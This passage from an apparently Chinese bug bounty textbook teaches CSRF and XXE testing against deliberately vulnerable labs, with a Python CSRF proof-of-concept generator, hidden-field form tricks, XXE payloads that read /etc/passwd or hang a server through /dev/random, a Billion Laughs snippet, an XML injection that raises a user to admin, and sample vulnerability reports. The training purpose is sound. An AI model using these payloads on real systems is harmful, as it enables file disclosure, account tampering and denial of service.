许多框架（Spring、Joomla 和 Django）都有自己的解决方案来防止 CSRF，通常包括将 cookie 的身份验证能力与特定的应用程序内操作绑定。但是，尽管 CSRF 被视为已解决的问题，但它仍然作为年度 OWASP 十大调查中的一个经常出现的漏洞。与 SQLi 一样，CSRF 是一个简单但具有破坏性的漏洞，主要是因为软件开发中安全性和生产力之间的紧张关系。

本章将涵盖以下主题：

CSRF 的机制
用于查找和验证 CSRF 漏洞的工具
发现、验证和报告 CSRF 漏洞

技术要求

对于本章，我们将使用 Burp Suite 和 Chrome（66.0.3359.139）作为我们日常的网络浏览和代理工具。我们将再次使用 Python 3.6.5 和标准的 macOS 版本的 shell（sh）进行脚本编写。

构建和使用 CSRF PoC

CSRF 概念验证只是一个简短的 HTML 片段，当用户执行时，将利用弱 CSRF 防御并以意想不到或不希望的方式更改应用程序状态，从而验证漏洞。

创建 CSRF PoC 代码片段

作为构建 CSRF PoC 片段的基础，让我们回到一个故意易受攻击的网页应用程序webscantest.com上的一个表单，该表单既容易受到 XSS 攻击，也容易受到 CSRF 攻击：

现在我们可以填写表单的值，输入一个William Private Mandella Mandella的信息：

为了构建我们的 CSRF PoC，将表单视为一个 HTTP 操作是有帮助的，这样我们可以一次性获取数据编码类型、HTTP 动词和表单字段信息。

为了查看该请求，确保你在浏览器中打开页面，并且该浏览器已连接到你的 Burp Proxy，然后在 Proxy 标签中启用拦截功能。点击提交后，你应该会看到表单暂停，因为 Burp Proxy 拦截并保持了表单的 HTTP POST 请求：

从这里，我们可以推导出构建 CSRF PoC 所需的所有部分。让我们看一下代码，然后逐一分析每个标签和属性背后的原因：

<html>
    <form enctype="application/x-www-form-urlencoded" method="POST" action="http://webscantest.com/crosstraining/aboutyou.php">
        <label>fname</label><input type="text" value="William" name="fname">
        <label>nick</label><input type="text" value="Private Mandella" name="nick">
        <label>lname</label><input type="text" value="Mandella" name="lname">
        <label>submit</label><input type="text" value="submit" name="submit">
        <input type="submit" value="http://webscantest.com/crosstraining/aboutyou.php">
    </form>
</html>

你可以看到表单的enctype属性是直接从拦截的请求中提取的——method和action属性的 URL 值也是如此。事实上，这个代码片段本质上是提交内容的反向工程表达。我们知道表单创建了什么样的 HTTP 请求——现在我们编写了代码来实现这种行为。

这段代码模仿了原始webscantest.com页面上的表单。但在实际的恶意 CSRF 攻击中，攻击者可能并不想简单地触发用户已提交的普通请求的精确复制。更可能的是，他们会根据自己的需要对其进行修改——例如更改财务路由号、修改账户密码或更改其他关键性信息。

在这种情况下，表单字段可能并不是那么容易被利用，但在更危险的情况下，这一原则依然适用。

让我们还是稍微玩一下，将Private Mandella晋升为他应得的少将军衔。下面是修改后的代码：

<html>
    <form enctype="application/x-www-form-urlencoded" method="POST" action="http://webscantest.com/crosstraining/aboutyou.php">
        <label>fname</label><input type="text" value="William" name="fname">
        <label>nick</label><input type="text" value="Major Mandella" name="nick">
        <label>lname</label><input type="text" value="Mandella" name="lname">
        <label>submit</label><input type="text" value="submit" name="submit">
        <input type="submit" value="http://webscantest.com/crosstraining/aboutyou.php">
    </form>
</html>

但是，如果我们的目的是让 CSRF 攻击的目标无意中做出我们想要的操作——例如改变 Mandella 的军衔——那么为什么要让他们看到这个呢？为什么要给用户一个机会查看或操作nick输入字段呢？请看以下内容：

<html>
    <form enctype="application/x-www-form-urlencoded" method="POST" action="http://webscantest.com/crosstraining/aboutyou.php">
        <label>fname</label><input type="text" value="William" name="fname">
        <label>nick</label><input type="text" value="Private Mandella" name="other-nick">
        <label>lname</label><input type="text" value="Mandella" name="lname">
        <label>submit</label><input type="text" value="submit" name="submit">
        <input type="submit" value="http://webscantest.com/crosstraining/aboutyou.php">
        <input type="hidden" value="Major Mandella" name="nick">
    </form>
</html>

在这个最后的代码片段中，我们将other-nick输入字段的名称更改为我们的不幸用户期待的nick标签，同时将真正的nick输入隐藏——它包含了我们的秘密值，即我们认为该用户应得的军衔。

当然，当你创建一个 CSRF PoC 作为 bug 报告的一部分时，你要确保不要实际更改或修改敏感信息（例如密码或交易金额），尽管为了说明 bug 可能的影响，进行一些小的修改是有用的。

验证你的 CSRF PoC

现在我们已经创建了一个基本的 CSRF PoC，我们可以应用它来证明 CSRF 漏洞的存在。

使用我们的 PoC 代码片段非常简单。我们只需将其作为本地文件在浏览器中打开，然后提交我们编写的表单：

这是我们在 Chrome 中打开的 PoC。没有 CSS 来美化它——我们的 HTML 片段简洁到极点——但如果在现实中利用 CSRF 漏洞进行攻击，大多数字段可能都已隐藏，可能会有一个虚假的表单让用户提交，或者在页面加载时自动提交表单。请注意，在 nick 字段中，我们有 Private Mandella——我们的诱饵数据正在发挥作用。

让我们提交表单，看看是否能成功伪造跨站请求：

请求伪造成功！我们已经被重定向到一个成功页面，表明我们本地表单生成的 POST 请求已被接受！此外，关键的是，我们可以看到我们的隐藏字段，其中包含 nick 输入标签的真实值，这个值被接受并原本为私密的，现在变成了 Major Mandella 的昵称。

这个例子可能仍然看起来相当无害——只是修改了用户名的一部分——但通过改变用户的表单数据来改变应用程序状态是很严重的。即使是修改用户名，也可能是盗取账户的巧妙方式——如果受影响的应用程序不允许仅使用与账户关联的电子邮件找回密码，攻击的受害者可能无法解决认证问题。

程序化创建 CSRF 漏洞验证代码（PoC）

与其通过手动构建 PoC 仅凭浏览 Burp 代理标签中的拦截 HTTP 请求，不如有一个脚本可以将我们需要的信息作为一系列输入（来自 CLI 参数、网页爬虫或其他来源），那就太好了。

让我们开始吧。只需一点 Python，我们就可以编写一个简短的脚本，轻松地将我们的信息格式化为 CSRF 漏洞验证代码（PoC）。

让我们先定义构建 PoC 所需的数据。我们将在设置解释器后，在新的 csrf_poc_generator.py 文件中开始定义这些变量：

#!/usr/bin/env python3

method="POST"
encoding_type="application/x-www-form-urlencoded"
action="http://webscantest.com/crosstraining/aboutyou.php"
fields = [
    {
        "type":"text",
        "name":"fname",
        "label":"fname"
    },
    {
        "type":"text",
        "name":"lname",
        "label":"lname"
    },
    {
        "type":"text",
        "name":"nick",
        "label":"nick"
    }
]

这种结构——为基本 form 标签属性定义字符串，并为需要构建的不同表单字段提供信息的包含字典的 fields 列表——作为起点非常简单，同时也提供了一些基本的功能。具体来说，可以添加任意数量的表单字段并添加新属性以创建新的表单对象。

现在，我们只需要一些逻辑来处理这些数据并生成必要的 HTML 标记。幸运的是，我们在第三章《准备参与攻击》中使用的 HTML 解析器——Beautiful Soup——不仅能提取我们爬取页面的 JavaScript，还能用来创建标记。

例如，这里是生成我们最外层 html 标签的代码，它将包裹我们的表单：

from bs4 import BeautifulSoup, Tag

content = BeautifulSoup("<html></html>", "html.parser")

print(content.prettify())

在这种情况下，我们只是将 HTML 文档实例化为一个单一的闭合 html 标签。要插入子元素，我们使用以下代码：

html_tag = content.find("html")
form_tag = content.new_tag("form")
html_tag.append(form_tag)

在脚本的每一行之后，我们获取对根html元素的引用，为将成为我们 CSRF PoC 的form创建一个新标记，然后将该表单标记作为其html父元素的子元素附加。

以这种方式使用模块展示了它相对于纯字符串操作的优势——我们不必不断地分解和嵌套连续的元素，而且append()语法也使得循环和嵌套多个子元素变得更容易（这将很有用）。

考虑到这种结构，我们需要构建 PoC 的最后（也是最重要）部分的标记—表单字段。我们将利用我们可以在循环中嵌套多个子元素以及我们的表单字段数据存储在一个可枚举中的事实：

for field in fields:
    field_tag = content.new_tag("input")
    form_tag.append(field_tag)

这段代码给我们正确数量的输入，但当然我们仍然需要逻辑来添加type、name和其他属性。请注意，由于我们不需要后来检索我们正在创建的标记的变量引用，我们可以继续用每次迭代覆盖它们：

for field in fields:
    field_tag = content.new_tag("input", type=field['type'])
    field_tag['name'] = field['name']
    form_tag.append(field_tag)

你可能会想：为什么不在new_tag()调用中添加另一个参数，以便在一行中处理输入的name和type？

field_tag['name'] = field['name']这一行是对 Beautiful Soup 中name是保留关键字这一事实的一个不太优雅的解决方案。这意味着我们需要使用 API 的一部分，让我们使用字符串来定义属性，这个方法就是这样做的。我们为完成表单的基本结构的最后补充是一个提交input字段。我们可以用两行代码实现：

submit_tag = content.new_tag("input", type="submit", value="submit")
form_tag.append(submit_tag)

这些额外更改的结果如下：

<html>
 <form>
  <input name="fname" type="text"/>
  <input name="lname" type="text"/>
  <input name="nick" type="text"/>
  <input type="submit" value="submit"/>
 </form>
</html>

要进一步进行，我们需要扩展我们对属性的使用，并最终使用我们之前定义的其他变量（如action和method）。我们可以在为每个适当的input字段添加一个label标签的同时做到这一点。

我们还可以扩展我们的初始数据结构以适应一些变化。假设我们想要为每个input添加一个value属性（就像我们在其他 PoC 中所做的那样）。我们只需在字典中为每个表单字段添加一个额外的字段即可。

当我们把所有东西放在一起时，它看起来是这样的：

#!/usr/bin/env python3
from bs4 import BeautifulSoup

def generate_poc():
    method="POST"
    encoding_type="application/x-www-form-urlencoded"
    action="http://webscantest.com/crosstraining/aboutyou.php"
    fields = [
        {
            "type":"text",
            "name":"fname",
            "label":"fname",
            "value":"William"
        },
        {
            "type":"text",
            "name":"lname",
            "label":"lname",
            "value":"Mandella"
        },
        {
            "type":"text",
            "name":"nick",
            "label":"nick",
            "value":"Major Mandella"
        }
    ]

    content = BeautifulSoup("<html></html>", "html.parser")
    html_tag = content.find("html")
    form_tag = content.new_tag("form", action=action, method=method, enctype=encoding_type)
    html_tag.append(form_tag)

    for field in fields:
        label_tag = content.new_tag('label')
        label_tag.string = field['label']
        field_tag = content.new_tag("input", type=field['type'], value=field['value'])
        field_tag['name'] = field['name']
        form_tag.append(label_tag)
        form_tag.append(field_tag)

    submit_tag = content.new_tag("input", type="submit", value=action)
    form_tag.append(submit_tag)

    return content.prettify()

if __name__ == "__main__":
    print(generate_poc())

如果你熟悉 Python，你会注意到逻辑被封装在一个函数中，然后在if __name__ == "__main__"条件中引导，这样当我们从命令行运行脚本时就会得到预期的行为（HTML 被打印到STDOUT）。同时，我们可以构建其他 Python 模块，导入generate_poc()函数而不会产生副作用。

所有这些生成了以下标记：

<html>
 <form action="http://webscantest.com/crosstraining/aboutyou.php" enctype="application/x-www-form-urlencoded" method="POST">
  <label>fname</label><input name="fname" type="text" value="William"/>
  <label>lname</label><input name="lname" type="text" value="Mandella"/>
  <label>nick</label><input name="nick" type="text" value="Major Mandella"/>
  <input type="submit" value="http://webscantest.com/crosstraining/aboutyou.php"/>
 </form>
</html>

它看起来与我们最初从拦截的 Burp 请求中编写的代码非常相似。

现在来试一下！如果我们保存这个文件，再次更改 Mandella 的级别（使他成为一名将军），然后在浏览器中打开它，我们就可以提交它，看看我们对元编程的尝试是否成功：

成功！根据一些简单的数据点，我们的代码生成了证明这个漏洞的代码。

完成这个脚本有很多方法。如前所述，初始变量可以通过命令行参数、从网站提取的数据或简单的应用表单来填充。前面的脚本是所有这些方法的一个很好的起点。

CSRF – 端到端示例

让我们再看一下 webscantest.com 上的 CSRF 漏洞。这是我们将要测试的表单：

很简单。启动 Burp 代理并确保拦截功能开启，接着我们填入一个合适的测试值：

顺便提一下，青色真的很酷——在减色系统中，青色是原色，通过从白光中去除红色可以得到青色。让我们提交这个表单，然后回到 Burp 查看被拦截的请求：

好的，注意重要信息——HTTP 请求方法、表单编码、字段数据等等——让我们看看当我们关闭拦截并允许 POST 请求完成时会发生什么：

这是成功提交后的样子。对我们来说，关键是我们可以通过成功消息看到表单提交了什么值。

让我们将这些信息输入到我们的 csrf_poc_generator.py 脚本中，对我们声明重要变量的地方做一些小修改，以便我们可以将它们作为命令行参数传递。做完这些修改后，这是脚本顶部部分的新版本——请注意新的 sys 和 ast 包，以及我们如何使用 ast 来解析 Python 列表的文本表示，转换成实际的数据结构：

#!/usr/bin/env python3
import sys
import ast

from bs4 import BeautifulSoup, Tag

def generate_poc():
    method=sys.argv[1]
    encoding_type=sys.argv[2]
    action=sys.argv[3]
    fields = ast.literal_eval(sys.argv[4])

其余部分的脚本完全一样。现在我们可以从命令行传递关键的信息。目前，传递字段信息有点笨拙，但未来我们可以让它从生成的 JSON 文件或其他数据源（如网络爬虫）中读取。这是我们目前的一行代码：

python code/csrf_poc_generator.py "POST" "application/x-www-form-urlencoded" "http://webscantest.com/csrf/csrfpost.php" "[{ 'type':'text', 'name':'property', 'label':'color', 'value':''}]"

这是它输出的 PoC 的样子：

<html>
 <form action="http://webscantest.com/csrf/csrfpost.php" enctype="application/x-www-form-urlencoded" method="POST">
  <label>
   color
  </label>
  <input name="property" type="text" value=""/>
  <input type="submit" value="http://webscantest.com/csrf/csrfpost.php"/>
 </form>
</html>

这是我们在 Chrome 中打开时的样子：

严格来说，这个 CSRF PoC 完成了我们需要的功能：它展示了我们可以伪造来自自己源的表单请求。但为了让它稍微黑帽一点（并向赏金计划展示一下该漏洞可能被如何利用），我们来添加一些隐藏字段的诡计。

这是我们的代码片段的样子，它将可见表单字段更改为虚拟值，并创建一个包含实际有效载荷的第二个隐藏字段：

<html>
 <form action="http://webscantest.com/csrf/csrfpost.php" enctype="application/x-www-form-urlencoded" method="POST">
  <label>
   color
  </label>
  <input name="dummy-property" type="text" value=""/>
  <input name="property" type="hidden" value="Peasoup">
  <input type="submit" value="http://webscantest.com/csrf/csrfpost.php"/>
 </form>
</html>

你可以看到恶意部分——我们正在填充 web 应用实际会消费的属性——我们提交了 Peasoup 作为用户的最爱颜色。我们的堕落深度无可限量。

假装成一个无助的用户，当我们在浏览器中打开代码片段时，我们不会看到任何明显的警告（表面上看）。但如果我们打开 dev 工具并开始检查隐藏字段元素，那将是另一个故事：

让我们继续提交表单，使用我们真正最喜欢的颜色：视觉上美丽且科学上有趣的青色。PoC 会返回什么呢？请看以下内容：

豆汤绿——最丑陋且最受诅咒的颜色。但更重要的是，成功信息表明我们的 PoC 已经证明了它的目标。经过一次重构，将命令行参数解析放入 if __name__ == "__main__": 启动条件中，这才是它应在的位置，并添加了一个符合 PEP8 的函数文档字符串，最终我们的 csrf_poc_generator.py 看起来是这样的：

#!/usr/bin/env python3
import sys
import ast

from bs4 import BeautifulSoup, Tag

def generate_poc(method, encoding_type, action, fields):
    """ Generate a CSRF PoC using basic form data """
    content = BeautifulSoup("<html></html>", "html.parser")
    html_tag = content.find("html")
    form_tag = content.new_tag("form", action=action, method=method, enctype=encoding_type)
    html_tag.append(form_tag)

    for field in fields:
        label_tag = content.new_tag('label')
        label_tag.string = field['label']
        field_tag = content.new_tag("input", type=field['type'], value=field['value'])
        field_tag['name'] = field['name']
        form_tag.append(label_tag)
        form_tag.append(field_tag)

    submit_tag = content.new_tag("input", type="submit", value=action)
    form_tag.append(submit_tag)

    return content.prettify()

if __name__ == "__main__":
    method=sys.argv[1]
    encoding_type=sys.argv[2]
    action=sys.argv[3]
    fields = ast.literal_eval(sys.argv[4])
    print(generate_poc(method, encoding_type, action, fields))

在清理完脚本并成功证明漏洞后，我们现在可以编写报告了。

收集报告信息

让我们来看看写报告所需的信息。

类别

这是一种 CSRF POST 方法攻击。

时间戳

对于我们的时间戳，我们可以使用我们第一次提交 CSRF PoC 时的大致时间。

URL

在我们的案例中，易受攻击的 URL 仅仅是 POST 操作的目标：

http://webscantest.com/csrf/csrfpost.php

负载

对于我们恶搞过的 PoC 代码片段，我们所做的恶行就是迫使用户选择豆汤绿作为他们的最喜欢的颜色。这就是我们将作为负载值包括进去的内容。

方法论

我们的 PoC 是基于从拦截的表单 HTTP 请求中获取的信息，程序化生成的。

重现步骤

对于我们的重现步骤，我们可以简单地提供我们的 CSRF PoC，并列出提交伪造表单请求的非常简单的手动步骤。

攻击场景

虽然我们检测到漏洞的表单看起来并不那么关键（个人最喜欢的颜色并不是机密等级的信息），但通过不必要的应用程序状态变化来更改个人账户信息是一个严重的缺陷。

最终报告

让我们使用这些信息来格式化我们的提交：

CATEGORY: CSRF POST-based attack

TIME: 2018-07-22 17:27 (17:27) UTC

URL: http://webscantest.com/csrf/csrfpost.php

PAYLOAD: Peasoup

METHODOLOGY: Vulnerability detected with generated CSRF PoC included in reproduction instructions.

INSTRUCTIONS TO REPRODUCE:

1\. Open the following CSRF PoC into a browser either locally or through a hosted environment:

<html>
 <form action="http://webscantest.com/csrf/csrfpost.php" enctype="application/x-www-form-urlencoded" method="POST">
  <label>
   color
  </label>
  <input name="dummy-property" type="text" value=""/>
  <input name="property" type="hidden" value="Peasoup">
  <input type="submit" value="http://webscantest.com/csrf/csrfpost.php"/>
 </form>
</html>

2\. Submit the form contained in the CSRF PoC.

ATTACK SCENARIO:
In the case of this POST-based CSRF attack, the vulnerability gives the attacker the opportunity to change a piece of the user's account information if they unwittingly submit the attacker's form. Giving a user a Peasoup-colored car instead of a flashy Cyan one would be a breach of the user's trust and a threat to the company's online ordering system and general bottom line.

总结

在本章中，我们介绍了作为一种漏洞的 跨站请求伪造 (CSRF)，创建并验证了一个 CSRF PoC，程序化地创建了 CSRF PoC，并成功地为漏洞报告提交编写了文档。希望你也能理解为什么这个漏洞会如此严重，并掌握一些可以用于未来影响报告的攻击场景。

问题

什么是 CSRF？
对于发现 CSRF 漏洞的恶意行为者，可能的攻击场景是什么？
CSRF PoC 的典型结构是什么？
如何使用 CSRF PoC 来验证漏洞？
使用 BeautifulSoup 生成 HTML 相对于直接的字符串操作有什么优势？
我们在端到端示例中使用了哪种类型的 CSRF 攻击？
恶意攻击者会使用什么样的 CSRF 标记？它与我们的 PoC 有什么不同？又有哪些相似之处？

进一步阅读

你可以在以下链接中找到更多我们在本章中讨论的相关主题：

其他 CSRF 测试漏洞：webscantest.com/csrf/

第七章：检测 XML 外部实体

XXE 是 XML 外部实体（XML External Entity）的缩写。作为一种攻击方式，它利用应用程序 XML 解析器配置中的缺陷，执行一系列恶意操作，包括暴露受保护文件的内容，或导致内存的指数级增长，最终引发拒绝服务（DoS）攻击。

XML 与 JSON 一样，是驱动现代互联网数据传输的重要组成部分。作为一种同时支持人类和机器可读方式的文档编码系统，XML 在某些年代的技术栈中广泛应用，并且在一些老旧的 API 架构中仍然存在，如 简单对象访问协议（SOAP），尽管现代 Web 应用越来越依赖于 JSON 作为标准格式。2017 年，OWASP 将 XXE 列为十大 Web 漏洞中的第四位，而在 2014 年的调查中，它并未出现在名单中。

攻击的本质源于 XML 的实体概念，这是一种将字符串与唯一别名或保留字组合的原始数据类型。当 XML 解析器展开实体时，它会查找并存储 URI 中的内容，并将其添加到最终的 XML 文档中。如果该实体指向 Web 服务器上的敏感文件，则该信息将被泄露。输入 XML 的途径有多种，包括应用程序表单输入。由于该漏洞涉及通过表单输入提交后 XML 代码被错误解析（并执行），因此 XXE 可以被归类为一种代码注入形式。

XXE 的一些风险因素来自于 XML 解析器的弱配置或错误配置：如果解析器接受包含有害数据的 文档类型声明（DTD），并且它处理该 DTD 并解析外部实体，则该站点会面临风险。例如，如果你使用 PHP，该语言的文档明确说明你需要将 libxml_disable_entity_loader 变量设置为 true，以禁用加载外部实体的能力（secure.php.net/manual/en/function.libxml-disable-entity-loader.php）。

本章内容包括：

XML 处理器如何可能被攻破的详细信息
如何构造 XXE 代码片段及在哪里找到社区提供的代码列表
用于检测 XXE 的工具
如何将 XXE 漏洞从发现、验证到包含在漏洞报告提交中

技术要求

在本章中，我们将使用我们标准版本的 Chrome（66.0.3359.139），并搭配新的开发环境部署系统 Vagrant，它与 VirtualBox 配合使用，将允许我们启动故意存在漏洞的 XXE 应用程序（我们之所以能使用它，得感谢 github.com/jbarone/xxelab）。VirtualBox 是一个虚拟机（VM）客户端，而 Vagrant 在此基础上添加了一层依赖关系和环境管理。

要安装 Vagrant 和 VirtualBox，从各自的下载页面选择适合你系统的客户端（www.vagrantup.com/downloads.html 和 www.virtualbox.org/wiki/Downloads）。

一个简单的 XXE 示例

XXE 攻击有几种不同类型，它们可以尝试远程代码执行（RCE）或——正如我们在引言中所讨论的——从目标文件中泄露信息。这里是第二种类型的一个例子，来自 OWASP 对 XXE 的介绍：

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

在这里，你可以看到外部实体及其尝试——通过位置字符串的file前缀和随后的系统路径——访问易受攻击的服务器上的敏感文件。

XXE 还可以用来通过一种名为千亿笑声的 XML 变体实施 DoS 攻击。通过逻辑炸弹（一段代码，当执行时会导致主机的资源消耗达到最大）触发的 DoS 攻击与通过一个或多个外部代理（如果有多个外部代理，那么将是 DDoS 攻击）引发的 DoS 攻击有所不同。DoS 攻击通常被认为更容易缓解，因为它只有一个攻击源——网络管理员不需要与多个恶意流量源作斗争。但来自单一来源的 DoS 攻击也意味着攻击者只需访问该易受攻击的输入，而不是通过一个由恶意机器组成的僵尸网络生成流量。

这是来自维基百科页面中关于“千亿笑声”XML 片段的一个例子：

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

你可以看到只有一个根元素，<lolz>&lol9;</lolz>。当该元素的文本&lol9;被展开时（因为它是一个已定义的实体），解析器查看并看到实体&lol8;并试图展开它，接着是&lol7;，然后是&lol6;，依此类推，通过实体列表进行扩展——这就像是不断堆叠的海龟，最终导致内存的膨胀。

结果是，在所有实体扩展处理完成后，这个小的、不到 1 KB 的片段将会生成 10 的 9 次方lols，总共使用超过 3 GB 的内存。

千亿笑声攻击不仅仅限于 XML（你可以在 YAML 或任何其他支持引用的文件格式中进行类似的攻击），但它们清楚地展示了一个没有防护的 XXE 漏洞如何造成破坏。

XML 注入向量

XML 注入和 XML 解析相关的漏洞并不总是从客户端代码中可以观察到——XML 处理链的一部分可能在服务器端处理你的客户端输入时发生。

在 OWASP XML 注入示例中，客户端表单（假设为了讨论的方便，它正在发起一个GET请求）将创建一个看起来像这样的 HTTP 请求：

Username: james
Password: Thew45p!
E-mail: james.mowry@terran.gov

然后，在插入到类似 XML 文档的数据库之前，应用程序将构建一个单独的 XML 节点：

<user> 
    <username>james</username> 
    <password>Thew45p!</password> 
    <userid>500</userid>
    <mail>james.mowry@terran.gov</mail>
</user>

你可以利用这种行为进行不同种类的注入攻击，包括基于标签的注入。这时，你会在输入中添加一个有效的 XML 标签，通过伪造一个有价值的属性（假设<userid>为 0 代表管理员用户），并通过类似这样的 HTTP 请求进行操作：

Username: james
Password: Thew45p!</password><!--
E-mail: --><userid>0</userid><mail>james.mowry@terran.gov

当这个 HTTP 请求被组装成类似 XML 的数据存储时，结果是其中一个冗余的<userid>标签被过滤掉，生成一个完全有效的记录，同时也提升了 James 的权限。

最终结果如下：

<?xml version="1.0" encoding="ISO-8859-1"?> 
<users> 
    <user> 
        <username>bob</username> 
        <password>!4rct0R</password> 
        <userid>0</userid>
        <mail></mail>
    </user> 
    <user> 
        <username>helward</username> 
        <password>!nverteDW0rld</password> 
        <userid>500</userid>
        <mail>helward.mann@winverted.hmm</mail>
    </user> 
    <user> 
        <username>james</username> 
        <password>Thew45p!</password><!--</password> 
        <userid>500</userid>
        <mail>--><userid>0</userid><mail>james.mowry@terran.gov</mail>
    </user>
</users>

XML 注入与 XXE – 相辅相成

我们之前讲解了 XXE 漏洞的组成及嵌套实体扩展如何导致资源消耗呈指数增长。我们还讨论了如何通过 RESTful API 注入有效的 XML 结构，以便恶意标签在 XML 格式化中得以重现（我们使用了类似 XML 数据库的虚构案例，但这种分析适用于任何服务器端的 XML 处理层）。

你可以看到这两种攻击手段是如何互相补充的——如果你发现了一个有效的 XML 注入向量，那就为你定义和执行 XXE 验证提供了交付机制。

测试 XXE – 在哪里找到它，以及如何验证它

正如我们之前讨论的那样，任何提供给你的输入项都不需要声明应用程序接受 XML，才可能使服务容易受到 XXE 攻击：应用程序的 XML 解析层对你来说可能是透明的，将你通过 GET 或 POST 请求发送的数据拼接成一个 XML 文档。

除了在后台使用 XML 作为主要文档格式的服务外，还有许多 API 服务默认支持不同的数据格式。即使你发出的是 GET 请求并返回 JSON，你也可以通过尝试 XML 内容头（即 Content-Type: application/xml）来测试该 API 端点是否能将请求格式化为 XML。由于服务通常内建有在不同内容类型之间切换的能力，服务的拥有者可能并不知道它能将请求格式化为 XML。

XXE – 一个端到端的示例

让我们设置 XXE 实验环境，以便我们能看到该漏洞的实际表现。下载 Vagrant、VirtualBox，并从 github.com/jbarone/xxelab 克隆 Git 仓库后，我们可以进入 xxelab 目录并运行 vagrant up 启动应用。下载完 Ubuntu 镜像和其他依赖项后，你的应用应该可以在 http://192.168.33.10/ 上运行：

让我们在提交表单时输入一些测试值，确保我们的 Burp Suite 代理的拦截功能已开启：

在尝试提交表单后，我们可以前往 Burp 查看我们拦截的原始 HTTP 请求是什么样的：

看到我们的提交被格式化为 XML 后，我们可以尝试一个基本的实体扩展测试，使用&example;实体将我们的email表单值替换为测试信息：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY example "Success"> ]>
<root><name>Edward Hawks</name><tel>5555555555</tel><email>&example;</email><password>roguemoon</password></root>

这是我们在拦截代理中输入的内容：

请注意，此应用程序旨在模拟通过错误信息尝试泄露数据的过程，因此它总是返回一个错误消息，声明所述的电子邮件（包含完整的电子邮件地址）不可用。这意味着，如果 XML 解析器容易受到实体扩展攻击，我们将在错误信息中看到成功的输出：

确实，攻击成功被记录下来了。

对于验证 XML 漏洞来说，这足以打开报告并开始提交过程。使用实体扩展替换值是一个无害的 PoC，但它指示了其他 XXE 攻击可能造成的损害。

但是，由于我们在本地进行操作，让我们做一些实际的破坏。利用我们对漏洞的了解，我们可以将拦截到的值替换为从 OWASP 的《XML 注入测试》（www.owasp.org/index.php/Testing_for_XML_Injection_(OTG-INPVAL-008))页面中获取的 XXE 片段：

<?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>

当服务器尝试扩展实体并访问/dev/random的内容时，它可能会导致服务器崩溃。这是因为/dev/random是一个特殊的伪随机数生成器，如果生成随机数时的熵不足，它会阻塞线程。在这里，我们将该片段输入到另一个拦截到的创建账户请求中：

转发请求后，我们看到服务器挂起——并且一直挂起。打开新标签页时，我们再也无法解析 IP 地址。我们成功地让它崩溃了！

收集报告信息

让我们来梳理一下写报告所需的信息。

分类

这就是 XXE 攻击。

时间戳

对于我们的时间戳，我们可以使用提交 XXE 实体替换请求时的大致时间。

URL

漏洞的位置是应用程序索引，例如：

http://192.168.33.10/

载荷

在这里，我们可以输入我们用作验证实体扩展能力的 PoC 的 XML 片段：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY example "Success"> ]>
<root><name>Edward Hawks</name><tel>5555555555</tel><email>&example;</email><password>roguemoon</password></root>

方法论

为了证明该服务容易受到 XXE 攻击，我们使用 Burp Suite 拦截并修改了一个 HTTP POST请求，将我们表单提交生成的 XML 文档替换为我们的攻击载荷。

重现步骤

我们的重现步骤是导航到表单，并使用代理工具（在我们的例子中是 Burp Proxy）将表单数据替换为我们的攻击载荷。

攻击场景

我们已经看到，指向 /dev/random 的实体扩展可以导致服务器崩溃。通过 XXE 攻击，我们还可以泄露像 /etc/password 这样的敏感服务器文件的内容，并且在某些情况下，执行远程代码执行（RCE）。

最终报告

让我们利用这些信息来格式化我们的提交：

CATEGORY: XXE attack

TIME: 2018-07-28 16:27 (16:27) UTC

URL: http://192.168.33.10/

PAYLOAD: 

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY example "Success"> ]>
<root><name>Edward Hawks</name><tel>5555555555</tel><email>&example;</email><password>roguemoon</password></root>

METHODOLOGY: The vulnerability was discovered by manually intercepting and editing the create account form to include the above entity replacement changes.

INSTRUCTIONS TO REPRODUCE:

1\. Navigate to the create account form at http://192.168.33.10/.

2\. Enter dummy values into the form and submit it.

3\. Intercept the generated HTTP POST request using a tool like Burp Proxy. Edit the XML data to include the payload above.

4\. Forward the POST request on to the server.

ATTACK SCENARIO:
In the case of this XXE attack, a malicious agent could submit entity expansion code to retrieve the contents of a sensitive file on the server, like the contents of /etc/password, or make a call to /dev/random and crash the server, or even use a different DoS method with the nested entity expansion strategy of a "Billion Laughs"-style attack (https://en.wikipedia.org/wiki/Billion_laughs_attack).

总结

本章中，我们介绍了 XXE，并涉及了 XML 解析攻击的性质，讨论了 XXE 在“亿万笑话”漏洞的历史背景下的情况，回顾了使许多 XML 解析器容易受到 XXE 攻击的特定弱点，并讨论了与 XXE 漏洞相关的一些可能攻击场景，此外还将 XXE 漏洞从发现到报告提交的全过程进行了分析。

在下一章，我们将讨论访问控制和通过模糊性增强安全性。

问题

什么导致 XML 解析器容易受到 XXE 攻击？什么是一个配置错误的示例？
